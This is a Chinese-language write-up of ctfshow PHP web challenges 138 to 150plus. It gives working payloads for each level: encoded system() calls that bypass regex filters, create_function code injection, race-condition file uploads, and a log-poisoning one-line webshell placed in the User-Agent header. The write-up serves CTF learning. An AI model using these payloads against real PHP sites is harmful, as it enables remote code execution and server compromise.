payload:
ctfshow=ctfshow::getFlag
查看源代码得到flag。
web138
这题相较于上一题过滤了冒号,意味着不能用上题那样的调用方法,自己想了想strripos绕不过,只能换一种调用方法了。PHP: call_user_func - Manual
也就是说call_user_func(array(Foo, test));
这时候会调用Foo中的test方法
payload:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web139
这题虽然看懂了,不过写python脚本还不太会.......所以先跳过吧
web140
这题的话算比较简单吧,正则匹配是字母或者数字就行,然后看到最后一个if处 ,然intval($code)全等于ctfshow肯定有些难度,这里是弱比较,尝试一下让令intval($code)=0。
intval()会将非数字字符转换为0,intval('aa')=0,intval('/')=0......,所以我们的payload:
f1=system&f2=system
or
f1=system&f2=phpinfo
or
f1=md5&f2=md5
web141
这题首先要求v1和v2是数字或者数字字符串,然后进行正则匹配,要求v3匹配非字母、数字、下划线。
仔细想一想,v1和v2都是数字大概是利用不了的,利用点可能在v3这里。但是eval("return 1;phpinfo();1)是无法执行命令的。所以这里利用php很有意思的一点,eval("return 1-phpinfo()-1")可以成功执行命令,我们在本地调试一下;
可以执行成功,这个-可以换成+号,不过要url编码。
到这里我们思路已经有了,?v1=1&v2=1&v3=system('tac f*'),接下来就是通过脚本去构造v3的字符了,因为url编码可以过(preg_match('/^\W+$/', $v3)的检测。
可以看到匹配成功,我们借助yu师傅的脚本构造一下取反 无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_羽的博客-CSDN博客_异或绕过
payload:
?v1=1&v3=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)-&v2=1
web142
这题难度为0,检测v1是否是字符串,然后sleep($d),沉睡$d秒,这里让v1=0可得$d=0,即可立刻得到flag。
payload:
?v1=0
web143
这题的话也算比较简单吧,141的plus版,过滤了-和+我们无法1-phpinfo()-2这样执行命令,但是可以用*
那么后面就是脚本的选择问题了,这题也过滤了~,所以取反是不可能的,用异或脚本可以。
payload:
?v1=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*&v2=1
web144
这题的话也是比较简单的,要求v3中字符串的长度不超过1,那么这个东西是很难绕过的。那我们换一下思路,题目正则检查v2的字符串,那么我们可以在v2处执行命令。
如何在v2处执行命令呢?我们在本地试一试,发现eval("return 11-phpinfo();")可以执行命令,所以利用141的取反,payload就有了。
payload:
?v1=1&v3=1&v2=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)
web145
这题还是挺简单的,和141差不多,过滤了/和*意味着,eval("return 1/phpinfo()/1;")的执行方式不行了,在本地调试一下,发现|可以用。
同时这题过滤了^,就不能用异或了。不过可以用取反。
payload:
?v1=1&v3=|(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)|&v2=1
后面看了一下羽师傅的wp,可以妙用三目运算符来解决
payload:
?v1=1&v3=?(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5):&v2=1
web146
这题过滤了:,意味着三目运算符的方式不能用,不过|还是可以用的。^这个也过滤了,可以用取反来执行命令,也就和上一题的第一个payload一样吧。
payload:
?v1=1&v3=|(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)|&v2=1
web147
看到这题,后面应该是要通过函数来执行命令。得先绕过正则,这个正则的意思是不能匹配到以数字或者字母开头的东西,那么我们得先找到一个不影响函数调用的字符,可以通过爆破来得到。
这里已经知道这个字符是\了,说一下原因。php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
create_function('$a,$b','return 111')
==>
function a($a, $b){
return 111;
}
如果我们要执行命令,得先跳出这个函数定义
create_function('$a,$b','return 111;}phpinfo();//')
==>
function a($a, $b){
return 111;}phpinfo();//
}
//从而执行phpinfo命令
更具体原理的话可以看这篇Code Breaking 挑战赛 Writeup
这样子我们就可以执行任意命令了
payload:
get: ?show=echo 123;}system('tac f*');//
post: ctf=%5ccreate_function
web148
这题先是正则过滤,后面是代码执行,想要直接利用这个函数是不行的,可以在本地传code=get_ctfshow_f10g调试一下,不会输出任何东西。然而直接@eval(get_ctfshow_f10g)是可以输出的,造成这样的原因可能是$code是变量吧。
所以这里直接利用异或进行代码执行:
非预期解:
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");
预期解:
?code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
"`{{{"^"?<>/"; 异或出来的结果是 _GET
web149
这题的话一看到肯定是条件竞争了,但参考羽师傅的wp就好像不需要竞争了
payload:
get: ?ctf=index.php
post: show=<?php system('tac /c*');?>
下面说一下竞争的做法
get: ?ctf=1.php
post: show=<?php system('tac /c*');?>
在bp爆破模块一直发上面的payload,同时打开另一个不断访问1.php,也可以留个一句话后门,具体操作的话看到这篇博客的第十八关。好像平台限制了线程为5,暂时难做竞争
upload靶场第一-二十一关_..-CSDN博客
web150
这题的话属于新姿势学习,利用日志包含。前面的话还是一大堆函数方法,直接看到最后一行,判断$isVIP && strrpos($ctf,";")===FLASE。
在本地调试了一下,发现$isVIP的值为NULL,NULL && FLASE !==FLASE,但是1 && FLASE ===FLASE,这个1可以是字符或者其它东西。
正好前面有$key = $_SERVER['QUERY_STRING'];可以完成变量覆盖,满足条件可以进行include,接下来了解一下User Agent这个东西。
什么是User Agent?简单了解一下 - 简书
用户代理_百度百科
我们知道User Agent里面的东西会被记录在日志文件里面,那么我们直接在User Agent里面写一句话木马<?php eval($_POST[1]);?>,然后执行,日志文件里面就有一句话木马了。
接着我们的payload:
get: ?isVIP=1
post: ctf=var/log/nginx/access.log&1=system('tac f*');
web150plus
这题过滤了log,意味着用不了日志包含了。那么这题的话就得好好利用这些函数了,出题人有点小坑,到isVIP后面的}时这个CTFSHOW的类已经结束了,__autoload是类之外的东西。
__autoload — 尝试加载未定义的类,在进行if(class_exists($__CTFSHOW__))判断时,会自动调用__autoload 这个方法。那么我们直接让__CTFSHOW__等于phpinfo,在调用__autoload时后面会执行$class();,即执行phpinfo()。
但现在存在一个问题,上面正则过滤了_,我们传不了__CTFSHOW__ 。解决这个只需要传..CTFSHOW..就行了,因为变量名中的点(.)会被转换成下划线(_)。
payload:
?..CTFSHOW..=phpinfo
然后在页面中国ctrl+f搜索flag就可以了,至于为什么会这么会这样子出题,是因为原来的题目需要占用很大资源,所以群主改了一下.....
exp:https://github/vulhub/vulhub/blob/master/php/inclusion/exp.py
更多推荐
ctfshow php特性(89——150plus)
发布评论